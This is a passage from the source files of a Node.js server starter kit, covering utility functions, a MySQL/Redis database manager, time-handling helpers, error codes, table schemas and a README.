* checkKeys(['a', 'b'], {"a": 1, "b": null}) > true
* checkKeys(['a', 'b'], {"a": 1, "c": null}) > false
*/
checkKeys(needles, haystack) {
for (let i = 0, i_len = needles.length; i < i_len; i++) {
if (haystack.hasOwnProperty(String(needles[i])) == false) {
return false;
}
}
return true;
}
/**
*
* @param {Object} asis
* @param {Object} tobe
*/
mergeObj(asis, tobe) {
for (let k in tobe) {
if (asis.hasOwnProperty(k) == true) {
asis[k] = tobe[k];
}
}
}
injectPromise(func, ...args) {
return new Promise((resolve, reject) => {
func(...args, (err, res) => {
if (err) reject(err);
else resolve(res);
});
});
}
promiseInjector(scope) {
return (func, ...args) => {
return this.injectPromise(func.bind(scope), ...args);
};
}
setRoute(router, url, func) {
if (config.dev == true) router.get(url, func);
router.post(url, func);
}
setMulterRoute(router, url, multer, func) {
if (config.dev == true) router.get(url, multer, func);
router.post(url, multer, func);
}
/**
* shuffle the arguments
*
* @param {Array} arr
* @description let a = [1, 2, 3, 4, 5]
* utils.shuffle(a);
* now a will be [3, 1, 4, 5, 1] or shuffled ...
*/
shuffle(arr) {
let asis = Math.random();
arr.sort(function () {
let tobe = Math.random();
return asis == tobe ? 0 : asis < tobe ? -1 : 1;
});
return arr;
}
/**
* forcingly convert to number type
* 1 > 1
* 3.14 > 3.14
* '3.14' > 3.14
* Math.PI > 3.141592653589793
* 0 < undefined, null, false, [], {}, 'ab'
* 1 < true, '1'
*
* @param {any} arg
* @returns {number}
*/
toNumberOnly(arg) {
let rtn = Number(arg);
if (isNaN(rtn) == true) {
rtn = 0;
}
return rtn;
}
/**
*
* @param {string} str original string
* @param {string} pad to padded string
* @param {number} len length
* @param {number} dir direction {-1: left, 1: right}
* @returns {string}
* @see like a printf
* strPadding('abc', 'Й', 5) // [ЙЙabc]
* strPadding('abc', ' ', 5) // [ abc]
* strPadding('abc', ' ', 5, 1) // [abc ]
* strPadding('abc', ' ', 2) // [abc]
*/
strPadding(str, pad, len, dir = -1) {
let rtn = String(str);
if (rtn.length >= len) {
return rtn;
}
pad = pad.repeat(len - rtn.length);
switch (dir) {
case -1:
rtn = pad.concat(rtn);
break;
case 1:
rtn = rtn.concat(pad);
break;
}
return rtn;
}
/**
* min ~ max 사이의 임의의 정수 반환
* @param {number} min 최소
* @param {number} max 최대
* @returns {number} 랜덤값
*/
getRandomInt(min, max) {
if (min == max) {
return min;
} else {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
}
getRandomIndex(...args) {
let total = 0;
for (let i = 0; i < args.length; i++) {
total += Number(args[i]);
}
let pick = Math.floor(Math.random() * total);
let sum = 0;
for (let i = 0; i < args.length; i++) {
sum += Number(args[i]);
if (sum > pick) {
return Number(i);
}
}
return 0;
}
totalPage(count, numOfPage) {
let pageFull = count % numOfPage == 0 ? 0 : 1;
return Math.floor(count / numOfPage) + pageFull;
}
getObjectByArray(objectArray, byKey) {
let ret = {};
objectArray.forEach((obj) => {
ret[obj[byKey]] = obj;
});
return ret;
}
getMultikeyObjectByArray(objectArray, byKey) {
let ret = {};
objectArray.forEach((obj) => {
if (ret[obj[byKey]] == null) {
ret[obj[byKey]] = [];
}
ret[obj[byKey]].push(obj);
});
return ret;
}
sleep(milliSec) {
return new Promise((resolve) => setTimeout(resolve, milliSec));
}
getTotalArray(objectArray, byKey, byValue) {
let totalArr = [];
for (let i in objectArray) {
let idx = totalArr.findIndex((x) => x[byKey] == objectArray[i][byKey]);
if (idx == -1) {
totalArr.push(objectArray[i]);
} else {
totalArr[idx][byValue] += objectArray[i][byValue];
}
}
return totalArr;
}
/**
*
* @param {Array} array
* @returns {Array}
* @see arrayUnique([1,2,3,1,2]) = [1,2,3]
* @warning elements of Array must be primitive type. shouldn't be complex type.
*/
arrayUnique(array) {
return array.filter((value, index, self) => self.indexOf(value) === index);
}
/**
* https://dev.to/ryanfarney3/array-chunking-2nl8
*
* @param {Array} array
* @param {number} size
* @see arrayChunk([1,2,3,4,5], 3) = [[1,2,3], [4,5]]
*/
arrayChunk(array, size) {
//declaring variable 'chunked' as an empty array
let chunked = [];
if (this.getType(array) != 'array' || size <= 0 || array.length <= 0) {
return chunked;
}
size = this.toNumberOnly(size);
//looping through the array until it has been entirely "manipulated" or split into our subarrays
while (array.length > 0) {
//taking the spliced segments completely out of our original array
//pushing these subarrays into our new "chunked" array
chunked.push(array.splice(0, size));
}
//returning the new array of subarrays
return chunked;
}
errorHandling(errObj) {
let err = new Error();
if (errObj == null) {
errObj = errors.undefinedError;
}
err.code = errObj.code;
err.message = errObj.message;
return err;
}
/**
*
* @param {any} arg
* @returns {string} 'number'|'string'|'array'|'object'|'undefined'|'null'
*/
getType(arg) {
let rtn = null;
if (arg !== null) {
rtn = typeof arg;
}
if (rtn === 'object') {
// rtn = arg.constructor.name.toLowerCase(); // named(customized) object returns It's name. ex) class User > 'user'
const tp = String(arg.constructor);
if (tp.indexOf('function Array') == 0) {
rtn = 'array';
}
}
return String(rtn);
}
/**
* multiple query for DB (MySQL)
*
* @param {object} conn connection
* @param {object} tran transaction
* @param {Array} queries ["INSERT INTO ...", "UPDATE ...", ...]
* @returns {null | boolean}
* @description null: nothing, false: failure, true: success
*/
async multiQueryDB(conn, tran, queries) {
let rtn = null;
if (queries.length == 0) {
return rtn;
}
const stmt = conn.makeMultipleQuery(queries);
//const tran = await conn.beginTransaction();
try {
await conn.query(tran, stmt);
//await conn.commit(tran);
rtn = true;
} catch (err) {
rtn = false;
//await conn.rollback(tran);
throw err;
}
return rtn;
}
/**
* multiple query for Cache (Redis)
*
* @param {object} conn connection
* @param {Array} queries [['hset', 'myhash', 'k1', 'v1'], ['hmset', 'myhash', 'k2', 'v2', 'k3', 'v3'], ...]
* @returns {null | boolean | any}
* @description null: nothing, false: failure, any: success
*/
async multiQueryCache(conn, queries) {
let rtn = null;
if (queries.length == 0) {
return rtn;
}
const that = this;
const promise = new Promise(function (resolve, reject) {
const tran = conn.multi(queries);
tran.exec(function (err, replies) {
if (err) {
this.discard();
reject(err);
} else {
resolve(replies);
}
});
});
try {
await promise
.then(function (message) {
rtn = message;
})
.catch(function (err) {
rtn = false;
logger.error('[' + that.constructor.name + '] code: ' + err.code + ', message: ' + err.message + ', stack: ' + err.stack);
throw err;
});
} catch (err) {
throw this.errorHandling(errors.failedCache);
}
return rtn;
}
/**
*
* @param {string} uri
* @param {number} userSequence
* @param {Object} body
*/
async requestHTTP(uri, userSequence, body, errorCode = errors.httpTimeOut, timeOut = config.timeout['request-promise']) {
const mergeBody = Object.assign(body, { userSequence: userSequence });
try {
const response = await rp({
uri: uri,
method: 'POST',
body: mergeBody,
json: true,
timeout: timeOut,
headers: {
Connection: 'close',
},
forever: false,
});
if (response.data && !response.error) {
return response.data;
}
} catch (err) {
logger.error(err);
if (errorCode.code == errors.httpETimeOut.code) {
if (err.message.includes('ETIMEDOUT') == false) {
errorCode = errors.httpTimeOut;
}
}
throw this.errorHandling(errorCode);
}
}
}
module.exports = new Utils();
<file_sep>/src/database/dbMgr.js
const config = require('@root/config');
const errors = require('@src/errors');
// Utils
const utils = require('@src/utils/utils');
const logger = require('@src/utils/logger');
// DB
const MySQL = require('@src/database/mysql');
const Redis = require('@src/database/redis');
// Model
const BaseModel = require('@src/model/baseModel');
const mysqlConn = {
master: 'master',
user: 'user',
};
const redisConn = {
sessionStorage: 'sessionStorage',
gen: 'gen',
user: 'user',
};
const queryFrame = {
querys: [],
cmds: [],
};
const multiSetFrame = {
conn: null,
query: /** @type {queryFrame} */ (null),
};
class dbMgr extends BaseModel {
constructor() {
super();
this.mysql = {
master: /** @type {MySQL} */ (null),
user: /** @type {MySQL} */ (null),
};
this.redis = {
sessionStore: /** @type {Redis} */ (null),
user: /** @type {Redis} */ (null),
gen: /** @type {Redis} */ (null),
};
}
get mysqlConn() { return mysqlConn; } // prettier-ignore
get redisConn() { return redisConn; } // prettier-ignore
/**
* @override
* @returns {queryFrame}
*/
getQueryFrame(initData = null) {
const rtn = super.getFrame(queryFrame, initData);
return rtn;
}
/**
* @override
* @returns {multiSetFrame}
*/
getMultiSetFrame(initData = null) {
const rtn = super.getFrame(multiSetFrame, initData);
return rtn;
}
async init() {
for (let dbName in this.mysql) {
if (config.mysql[dbName] == null) {
throw utils.errorHandling(errors.undefinedConfig);
}
let initMySql = new MySQL();
await initMySql.createPool(config.mysql[dbName]);
this.mysql[dbName] = initMySql;
}
for (let dbName in this.redis) {
if (config.redis[dbName] == null) {
throw utils.errorHandling(errors.undefinedConfig);
}
let initRedis = new Redis();
await initRedis.createClient(config.redis[dbName]);
this.redis[dbName] = initRedis;
this.redis[dbName].client.on('error', (err) => {
logger.error('redis ' + dbName + ' error: ' + err);
});
}
}
/**
*
* @param {typeof mysqlConn| typeof redisConn} dbConn
* @param {queryFrame} querys
*/
async set(dbConn, querys) {
if (querys.querys.length > 0 || this.mysql[dbConn] != null) {
const mysqlObj = /** @type {MySQL} */ (this.mysql[dbConn]);
const mysqlQuerys = mysqlObj.makeMultipleQuery(querys.querys);
const mysqlConn = await mysqlObj.beginTransaction();
try {
await mysqlObj.query(mysqlConn, mysqlQuerys);
await mysqlObj.commit(mysqlConn);
} catch (err) {
await mysqlObj.rollback(mysqlConn);
throw err;
}
}
if (querys.cmds.length > 0 || this.redis[dbConn] != null) {
const redisObj = /** @type {Redis} */ (this.redis[dbConn]);
try {
// Redis Set
await redisObj.multiCmd(querys.cmds);
} catch (err) {
throw err;
}
}
}
/**
*
* @param {Array<multiSetFrame>} multiSetFrames
*/
async multiSet(multiSetFrames) {
const tempMysqls = [];
for (let i in multiSetFrames) {
if (multiSetFrames[i].query.querys.length > 0 || this.mysql[multiSetFrames[i].conn] != null) {
const mysqlObj = /** @type {MySQL} */ (this.mysql[multiSetFrames[i].conn]);
const mysqlConn = await mysqlObj.beginTransaction();
const mysqlQuerys = mysqlObj.makeMultipleQuery(multiSetFrames[i].query.querys);
tempMysqls.push({ mysqlObj, mysqlConn, mysqlQuerys });
}
}
try {
for (let i in tempMysqls) {
await tempMysqls[i].mysqlObj.query(tempMysqls[i].mysqlConn, tempMysqls[i].mysqlQuerys);
}
for (let i in tempMysqls) {
await tempMysqls[i].mysqlObj.commit(tempMysqls[i].mysqlConn);
}
} catch (err) {
for (let i in tempMysqls) {
await tempMysqls[i].mysqlObj.rollback(tempMysqls[i].mysqlConn);
throw err;
}
}
for (let i in multiSetFrames) {
if (multiSetFrames[i].query.cmds.length > 0 || this.redis[multiSetFrames[i].conn] != null) {
const redisObj = /** @type {Redis} */ (this.redis[multiSetFrames[i].conn]);
try {
// Redis Set
await redisObj.multiCmd(multiSetFrames[i].query.cmds);
} catch (err) {
throw err;
}
}
}
}
async getFromCache(dbConn, key, query = null) {
let rtn = [];
const redisObj = /** @type {Redis} */ (this.redis[dbConn]);
const mysqlObj = /** @type {MySQL} */ (this.mysql[dbConn]);
if (redisObj != null) {
const result = await redisObj.client.hgetall(key);
if (result != null) {
for (let i in result) {
try {
rtn.push(JSON.parse(result[i]));
} catch (e) {
throw e;
}
}
}
}
if (mysqlObj != null && query != null && rtn.length <= 0) {
rtn = [];
let records = await mysqlObj.makeAndQuery(query);
for (let i in records) {
if (redisObj != null && records[i].idx != null) {
await redisObj.client.hset(key, records[i].idx, records[i]);
}
rtn.push(records[i]);
}
}
return rtn;
}
}
module.exports = new dbMgr();
<file_sep>/schema/db_master.sql
CREATE DATABASE IF NOT EXISTS `db_master`;
USE `db_master`;
DROP TABLE IF EXISTS `tb_account_info`;
CREATE TABLE `tb_account_info` (
`idx` bigint(20) unsigned NOT NULL,
`id` varchar(254) NOT NULL,
`pw` varchar(200) NOT NULL,
`salt` varchar(50) NOT NULL,
`status` int(4) NOT NULL DEFAULT '0',
PRIMARY KEY (`idx`),
UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Account Info';
<file_sep>/src/utils/time.js
// Common
const querys = require('@src/querys');
const errors = require('@src/errors');
// Utils
const utils = require('@src/utils/utils');
const logger = require('@src/utils/logger');
// DB
const dbMgr = require('@src/database/dbMgr');
let registTimestamp = 0;
let reRegistUpTime = 0;
let devTime = false;
let offsetDB = 0;
let devOneDaySec = 30; // 60 * 10; // 10분
const offsetSystem = new Date().getTimezoneOffset() * 60; // UTC
const oneDaySec = 86400; // 60 * 60 * 24;
const oneDayMilsec = 86400000; // 60 * 60 * 24 * 1000;
const weekDay = {
sunday: 0,
monday: 1,
tuesday: 2,
wednesday: 3,
thursday: 4,
friday: 5,
saturday: 6,
};
const weekDayNames = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];
const timestampMax = '2038-01-19 03:14:07';
class Time {
constructor() {}
get oneDaySec() { return oneDaySec; } // prettier-ignore
get oneDayMilsec() { return oneDayMilsec; } // prettier-ignore
get weekDay() { return weekDay; } // prettier-ignore
get timestampMax() { return 2147483647; /*this.unixtime(timestampMax);*/ } // prettier-ignore
get devOneDaySec() { return devOneDaySec; } // prettier-ignore
set devOneDaySec(v) { devOneDaySec = v; } // prettier-ignore
get devTime() { return devTime; } // prettier-ignore
async init(dev = false) {
try {
const [result] = await dbMgr.mysql.master.query(querys.master.timestamp, { log: false });
registTimestamp = Number(result.now);
offsetDB = Number(result.offset);
let upTimeSec = process.uptime();
reRegistUpTime = upTimeSec;
devTime = dev;
} catch (err) {
logger.error(err);
}
}
async syncTime() {
setInterval(async () => {
try {
const [result] = await dbMgr.mysql.master.query(querys.master.timestamp, { log: false });
registTimestamp = Number(result.now);
offsetDB = Number(result.offset);
let upTimeSec = process.uptime();
reRegistUpTime = upTimeSec;
logger.log('[Time] ' + this.now().toString());
} catch (err) {
logger.error(err);
}
}, 1000 * 60 * 10);
}
/**
* @returns {Date} DateObject sync with server time
*/
now() {
let upTimeSec = process.uptime();
let time = new Date();
time.setTime(Math.floor(registTimestamp + upTimeSec - reRegistUpTime) * 1000);
return time;
}
/**
* only for client
* @returns {Number} offset db time by sec.
*/
offsetDB() {
if (devTime == true) {
return 0; // only for client
}
return offsetDB;
}
/**
* application server time only
*
* @returns {string} - datetime.milliSeconds yyyy-MM-dd hh:mm:ss.zzz
*/
datetimeAppl() {
const date = new Date();
const Y = String(date.getFullYear()); // prettier-ignore
const M = ('0' + String(date.getMonth() + 1)).substr(-2); // prettier-ignore
const D = ('0' + String(date.getDate())).substr(-2); // prettier-ignore
const hh = ('0' + String(date.getHours())).substr(-2); // prettier-ignore
const mm = ('0' + String(date.getMinutes())).substr(-2); // prettier-ignore
const ss = ('0' + String(date.getSeconds())).substr(-2); // prettier-ignore
const sss = ('00' + String(date.getMilliseconds())).substr(-3); // prettier-ignore
return Y + '-' + M + '-' + D + ' ' + hh + ':' + mm + ':' + ss + '.' + sss;
}
/**
* convert to datetime(yyyy-MM-dd HH:mm:ss) from unix timestamp
*
* @param {number} num - unix timestamp
* @returns {string} - datetime
*/
datetime(num = 0) {
let rtn = '0000-00-00 00:00:00';
if (num == 0) {
num = this.unixtime();
}
let date = new Date(num * 1000);
let Y = String(date.getFullYear());
let M = '0' + String(date.getMonth() + 1);
let D = '0' + String(date.getDate());
let hh = '0' + String(date.getHours());
let mm = '0' + String(date.getMinutes());
let ss = '0' + String(date.getSeconds());
// let sss = '00' + String(date.getMilliseconds());
M = M.substr(-2);
D = D.substr(-2);
hh = hh.substr(-2);
mm = mm.substr(-2);
ss = ss.substr(-2);
// sss = sss.substr(-3);
rtn = Y + '-' + M + '-' + D + ' ' + hh + ':' + mm + ':' + ss; // + '.' + sss;
return rtn;
}
/**
* convert to unix timestamp from datetime(yyyy-MM-dd HH:mm:ss)
*
* @param {string} str - datetime
* @returns {number} - unix timestamp
* @see Timezone can be different between System and DB
*/
unixtime(str = '0000-00-00 00:00:00') {
let rtn = 0;
let date = null;
//let offset = 0;
if (str == '0000-00-00 00:00:00') {
// DB Timezone offset for UTC (this.now() : DB time)
date = this.now();
//offset = offsetDB;
} else {
// System Timezone offset for UTC
date = new Date(str);
//offset = offsetSystem;
}
rtn = Math.floor(date.getTime() / 1000); // - offset;
return rtn;
}
nowTimestamp(milSec = false) {
let upTimeSec = process.uptime();
let now = registTimestamp + upTimeSec - reRegistUpTime;
if (milSec == true) {
return Math.floor(now * 1000);
} else {
return Math.floor(now);
}
}
// /**
// * yyyy-MM-dd is valid ?
// *
// * @param {string} dt
// * @returns {boolean}
// */
// validDatetime(dt = '0000-00-00 00:00:00') {
// let rtn = true;
// const delimiter = ',';
// let temp = dt.replace(/[^0-9]/g, delimiter);
// temp = temp.split(delimiter);
// const year = Number(temp[0]);
// const month = Number(temp[1]);
// const day = Number(temp[2]);
// const myDate = new Date(dt);
// if (myDate.getMonth() + 1 != month || myDate.getDate() != day || myDate.getFullYear() != year) {
// rtn = false;
// }
// return rtn;
// }
/**
* @returns {number}
*/
secondsPerDay() {
if (this.devTime == true) {
return devOneDaySec;
}
return oneDaySec;
}
/**
* @params {number} n weeks
* @returns {number}
* @example real | dev
* time.secondsInWeek(4): 2419200 | 16800
* time.secondsInWeek(3): 1814400 | 12600
* time.secondsInWeek(2): 1209600 | 8400
* time.secondsInWeek(1): 604800 | 4200
*/
secondsInWeek(n) {
n = Math.max(1, n);
if (this.devTime == true) {
return devOneDaySec * 7 * n;
}
return oneDaySec * 7 * n;
}
/**
* @params {number} n minutes
* @returns {number}
* @example real | dev
* time.secondsInMinutes(40): 2400 | 16
* time.secondsInMinutes(30): 1800 | 12
* time.secondsInMinutes(20): 1200 | 8
* time.secondsInMinutes(10): 600 | 4
*/
secondsInMinutes(n) {
n = Math.max(1, n);
if (this.devTime == true) {
return Math.floor((n * 60) / Math.floor(oneDaySec / devOneDaySec));
}
return n * 60;
}
/**
* filtering valid day of week
*
* @param {number} wd day of week
* @returns {number} one of range between this.weekDay.sunday and this.weekDay.saturday
*/
dayFilter(wd) {
return Math.min(Math.max(this.weekDay.sunday, wd), this.weekDay.saturday); // fix between 0 ~ 6
}
/**
* Thress-letter day of week name
*
* @param {number} wd day of week
* @returns {string}
*/
dayName(wd) {
wd = this.dayFilter(wd);
return weekDayNames[wd];
}
/**
* relative day of week
*
* @param {number} timestamp
* @returns {number} this.weekDay
*/
dayOfWeekRelative(timestamp = this.unixtime()) {
let rtn = this.weekDay.sunday;
const modWeekDay = 7;
if (this.devTime == true) {
timestamp = timestamp + offsetDB;
const elapsedSecReal = timestamp % oneDaySec; // 가상요일 동작 기준 : 0 ~ 86399
const elapsedDayVirt = Math.floor(elapsedSecReal / devOneDaySec); // 가상일자 경과일 : 0 ~
rtn = elapsedDayVirt % modWeekDay;
} else {
// timestamp = timestamp + offsetDB;
const dt = new Date(timestamp * 1000);
rtn = dt.getDay();
}
return rtn;
}
/**
* relative week start unix timestamp by bw
*
* @param {number} bw base weekday weekDay.sunday ~ weekDay.saturday
* @param {number} timestamp
* @returns {number} unix timestamp
*/
weekStartTimeRelative(bw = this.weekDay.sunday, timestamp = this.unixtime()) {
let rtn = 0;
bw = this.dayFilter(bw);
const modWeekDay = 7;
if (this.devTime == true) {
const elapsedSecReal = (timestamp + offsetDB) % oneDaySec; // 가상요일 동작 기준 : 0 ~ 86399
// const elapsedDayVirt = Math.floor(elapsedSecReal / devOneDaySec); // 가상일자 경과일 : 0 ~
let elapsedSecInWeek = (elapsedSecReal % (devOneDaySec * modWeekDay)) - devOneDaySec * bw;
rtn = timestamp - elapsedSecInWeek;
if (elapsedSecInWeek < 0) {
rtn -= devOneDaySec * modWeekDay;
}
} else {
//rtn = this.weekStartTime(bw, timestamp);
// const dt = new Date(this.datetime(timestamp - padded));
//const wdAbsolute = dt.getUTCDay();
const dt = new Date(timestamp * 1000);
const wdAbsolute = dt.getDay();
const wdRelative = (wdAbsolute + (modWeekDay - bw)) % modWeekDay;
const wdDiff = 0 - wdRelative;
let elapsedSecInWeek = oneDaySec * wdDiff - ((timestamp + offsetDB) % oneDaySec);
rtn = timestamp + elapsedSecInWeek;
}
return rtn;
}
/**
* relative week next unix timestamp by bw
*
* @param {number} bw base weekday weekDay.sunday ~ weekDay.saturday
* @param {number} timestamp
* @returns {number} unix timestamp
*/
weekNextTimeRelative(bw = this.weekDay.sunday, timestamp = this.unixtime()) {
let rtn = this.weekStartTimeRelative(bw, timestamp);
const spd = this.secondsPerDay();
rtn += spd * 7;
return rtn;
}
/**
* relative week remain seconds by bw
*
* @param {number} bw base weekday weekDay.sunday ~ weekDay.saturday
* @param {number} timestamp
* @returns {number} unix timestamp
*/
weekRemainTimeRelative(bw = this.weekDay.sunday, timestamp = this.unixtime()) {
let rtn = this.weekNextTimeRelative(bw, timestamp);
rtn -= timestamp;
return rtn;
}
/**
* How many days elapsed from '1970-01-01 00:00:00' using with padding
* similar to dailyCode
*
* @param {number} timestamp
* @returns {number}
*/
toDays(timestamp = this.unixtime()) {
return Math.floor(timestamp / this.secondsPerDay());
}
/**
* unix timestamp by period in a day
*
* @param {number} period unit is seconds
* @param {number} timestamp
* @returns {number}
* @see return value can be greater than Math.pow(2, 32)
*/
periodCode(period, timestamp = this.unixtime()) {
if (period == 0) {
return 0;
}
const rtnPrefix = this.toDays(timestamp);
const spd = this.secondsPerDay();
const rtnSuffix = Math.floor((timestamp % spd) / period);
return rtnPrefix * 10000 + rtnSuffix;
}
/**
* unix timestamp by period : elapsed
*
* @param {number} period unit is seconds
* @param {number} timestamp
* @returns {number} unix timestamp
*/
periodTimeElapsed(period, timestamp = this.unixtime()) {
if (period == 0) {
return 0;
}
timestamp = timestamp + offsetDB;
return Math.floor(timestamp % period);
}
/**
* unix timestamp by period : remains
*
* @param {number} period unit is seconds
* @param {number} timestamp
* @returns {number} unix timestamp
*/
periodTimeRemains(period, timestamp = this.unixtime()) {
return period - this.periodTimeElapsed(period, timestamp);
}
/**
* unix timestamp by period : current
*
* @param {number} period unit is seconds
* @param {number} timestamp
* @returns {number} unix timestamp
*/
periodTimeCurrent(period, timestamp = this.unixtime()) {
return timestamp - this.periodTimeElapsed(period, timestamp);
}
/**
* unix timestamp by period : next
*
* @param {number} period unit is seconds
* @param {number} timestamp
* @returns {number} unix timestamp
*/
periodTimeNext(period, timestamp = this.unixtime()) {
return timestamp + this.periodTimeRemains(period, timestamp);
}
}
module.exports = new Time();
<file_sep>/src/errors.js
const errors = {
undefinedError: {
code: 1,
message: 'undefined error',
},
undefinedServer: {
code: 2,
message: 'undefined server',
},
undefinedConfig: {
code: 3,
message: 'undefined config',
},
undefinedModule: {
code: 4,
message: 'undefined module',
},
// DataBases
failedQuery: {
code: 1001,
message: 'failed query',
},
failedCache: {
code: 1002,
message: 'failed cache',
},
// Common
invalidSessionStore: {
code: 10001,
message: 'invalid session store',
},
invalidRequestRouter: {
code: 10002,
message: 'invalid request router',
},
invalidRequestData: {
code: 10003,
message: 'invalid request data',
},
invalidResponseData: {
code: 10004,
message: 'invalid response data',
},
// Account
invalidAccountIdPw: {
code: 11001,
message: 'invalid account id or pw',
},
invalidAccountStatus: {
code: 11002,
message: 'invalid account status',
},
duplicatedAccountId: {
code: 11003,
message: 'duplicated account id',
},
};
module.exports = errors;
<file_sep>/src/socket/messages.js
const messages = {
Error: 'Error',
Login: 'Login',
Example: 'Example',
Test: 'Test'
};
module.exports = messages;
<file_sep>/src/model/baseModel.js
const cloneDeep = require('clone-deep');
const utils = require('@src/utils/utils');
class BaseModel {
constructor() {}
merge(obj) {
for (let k in obj) {
if (this.hasOwnProperty(k) == true) {
this[k] = obj[k];
}
}
return this;
}
getFrame(frameObj, initData) {
let rtn = cloneDeep(frameObj);
if (initData != null) {
utils.mergeObj(rtn, initData);
}
return rtn;
}
}
module.exports = BaseModel;
<file_sep>/src/socket/socketMgr.js
// Common
const config = require('@root/config');
const utils = require('@src/utils/utils');
const logger = require('@src/utils/logger');
// Router
const SocketRouter = require('@src/socket/router');
class SocketMgr {
constructor(socket, msg) {
this.socket = socket;
this.msg = msg;
}
async message(data) {
let userIdx = 0;
try {
logger.info('[' + this.socket.id + '][' + userIdx + ']Request' + this.msg + ' / ' + JSON.stringify(data));
const router = new SocketRouter(this.msg);
const resData = await router.process(this.socket, data);
this.emit(userIdx, resData);
} catch (err) {
this.error(userIdx, err);
}
}
emit(userIdx, res) {
this.socket.emit(this.msg, { data: res });
logger.info('[' + this.socket.id + '][' + userIdx + ']Response' + this.msg + ' / ' + JSON.stringify(res));
}
error(userIdx, err) {
if (config.dev == true) {
logger.error(err);
}
logger.error('[' + this.socket.id + '][' + userIdx + ']ResponseError' + this.msg + ' / ' + JSON.stringify(err));
this.socket.emit(this.msg, { error: err });
}
}
module.exports = SocketMgr;
<file_sep>/src/querys.js
const query = {
master: {
timestamp: 'SELECT UNIX_TIMESTAMP(NOW(3)) AS now, TIMESTAMPDIFF(SECOND, UTC_TIMESTAMP(), NOW()) AS offset',
// tb_account_info
selectAccountById: 'SELECT idx, id, pw, salt, status FROM tb_account_info WHERE id = ?',
insertAccountInfo: 'INSERT INTO tb_account_info (idx, id, pw, salt, status) VALUES (?, ?, ?, ?, ?)',
},
user: {
// tb_user_info
selectUserInfo: 'SELECT idx, nickname, profile, UNIX_TIMESTAMP(createTime), UNIX_TIMESTAMP(updateTime) FROM tb_user_info WHERE idx = ?',
insertUserInfo: 'INSERT INTO tb_user_info (idx, nickname, createTime) VALUES (?, ?, ?)',
},
};
module.exports = query;
<file_sep>/README.md
# Nodejs Server-Kit
Nodejs server starter kit
## Includes
- express
- socket-io
- mysql
- redis
- log service
## Installation
Yarn package manager recommended
```
npm install -g yarn
```
Install project dependencies
```
yarn install
```
## Usage
Run server you want - package.json scripts
```
yarn api
```
## Hierarchy
```
server-kit
├── .prettierrc # Configurations for VSCode prettier
├── config # Application configurations
├── definePrototype # Javascript Prototype definition
├── jsconfig # Configurations for VSCode intellisense
├── node_modules/
└── src/
├── errors # Errors definition
├── index # Server start point
├── querys # Querys definition
├── api/ # Session Manager && Routers
├── database/ # DB Manager && MySQL && Redis
├── service/
│ └── apiService # Express Server Service
└── utils/
├── logger # Log Service - using winston module
├── time # Codes related with Time
└── utils # Codes for Convenience
```
## VS Code Prettier Setting
- Search 'Prettier - Code formatter' in VS Code Extension
- Go to VS Code Setting(ctrl + ,)
- Set Default Formatter to 'prettier-vscode'
- Check 'Format On Save'
<file_sep>/schema/db_user.sql
CREATE DATABASE IF NOT EXISTS `db_user`;
USE `db_user`;
DROP TABLE IF EXISTS `tb_user_info`;
CREATE TABLE `tb_user_info` (
`idx` bigint(20) unsigned NOT NULL,
`nickname` varchar(254) NOT NULL,
`createTime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`updateTime` timestamp NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`idx`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='User Info';
<file_sep>/src/database/mysql.js
const mysql = require('mysql2/promise');
const errors = require('@src/errors');
const utils = require('@src/utils/utils');
const logger = require('@src/utils/logger');
class MySQL {
constructor() {
this.pool = null;
this.options = null;
/** @access private */
this._retry_conn_count_limit = 10; // prettier-ignore
this._retry_conn_interval = 1000; // prettier-ignore
}
async createPool(options) {
if (this.pool != null || this._created_pool == true) {
logger.log('already created pool');
return;
}
options.connectTimeout = 0; // (Default: 10000)
this.options = options;
this.pool = await mysql.createPool(this.options);
this._created_pool = true;
}
/**
* if DB Server has gone and connectTimeout option doesn't exists, Application Server goes down after 10 seconds with message 'Error: connect ETIMEDOUT'.
* but protect by connectTimeout option
*
* @returns {mysql.PromisePoolConnection} connection from Pool
* @see this.createPool
*/
async getConnection() {
let rtn = null;
const that = this;
let retry_count = 0;
while (rtn == null) {
try {
rtn = await this.pool.getConnection();
} catch (err) {
retry_count += 1;
// wait for retry getConnection
logger.error(this.constructor.name + '.getConnection() ... retry ' + retry_count + '. waiting for ' + this._retry_conn_interval + ' ms');
await new Promise((resolve) => {
setTimeout(resolve, that._retry_conn_interval);
});
}
}
return rtn;
}
bindQuery(query, args) {
if (args.constructor.name == 'Array') {
return this.pool.format(query, args);
} else {
return this.makeQuery(query, args);
}
}
makeQuery(query, ...args) {
if (args[0] != null && typeof args[0] == 'object' && args[0].constructor.name == 'Object') {
return query;
} else {
return this.pool.format(query, [...args]);
}
}
makeMultipleQuery(querys, args) {
let retval = [];
if (args == null || args.length == 0) {
retval = querys;
} else {
for (let i = 0; i < querys.length; ++i) {
retval.push(this.makeQuery(querys[i], ...args[i]));
}
}
return retval.join('; ');
}
async query(...args) {
let opts = { log: true };
if (args.length > 0) {
if (args[args.length - 1] != null && typeof args[args.length - 1] == 'object' && args[args.length - 1].constructor.name == 'Object') {
opts = args[args.length - 1];
args.splice(args.length - 1, 1);
}
}
if (args.length == 1) {
return await this.queryPool(args[0], opts);
} else if (args.length == 2) {
return await this.queryConn(args[0], args[1], opts);
} else {
throw utils.errorHandling(errors.failedQuery);
}
}
async selectOne(query, ...args) {
let result = await this.makeAndQuery(query, ...args);
if (result == null || result.length == 0) return null;
return result[0];
}
async queryPool(sql, opts) {
let conn = null;
try {
if (opts !== undefined && opts.log == true) {
logger.log(sql);
}
let [rows] = '';
conn = await this.getConnection();
[rows] = await conn.query(sql);
if (rows == null) {
throw utils.errorHandling(errors.failedQuery);
}
return rows;
} catch (err) {
logger.error(err);
throw utils.errorHandling(errors.failedQuery);
} finally {
if (conn != null) {
conn.release();
}
}
}
async queryConn(conn, sql, opts) {
try {
if (opts !== undefined && opts.log == true) {
logger.log(sql);
}
let [rows] = await conn.query(sql);
if (rows == null) {
throw utils.errorHandling(errors.failedQuery);
}
return rows;
} catch (err) {
logger.error(err);
throw utils.errorHandling(errors.failedQuery);
}
}
async makeAndQuery(query, ...args) {
let sql = this.makeQuery(query, ...args);
let opts = { log: true };
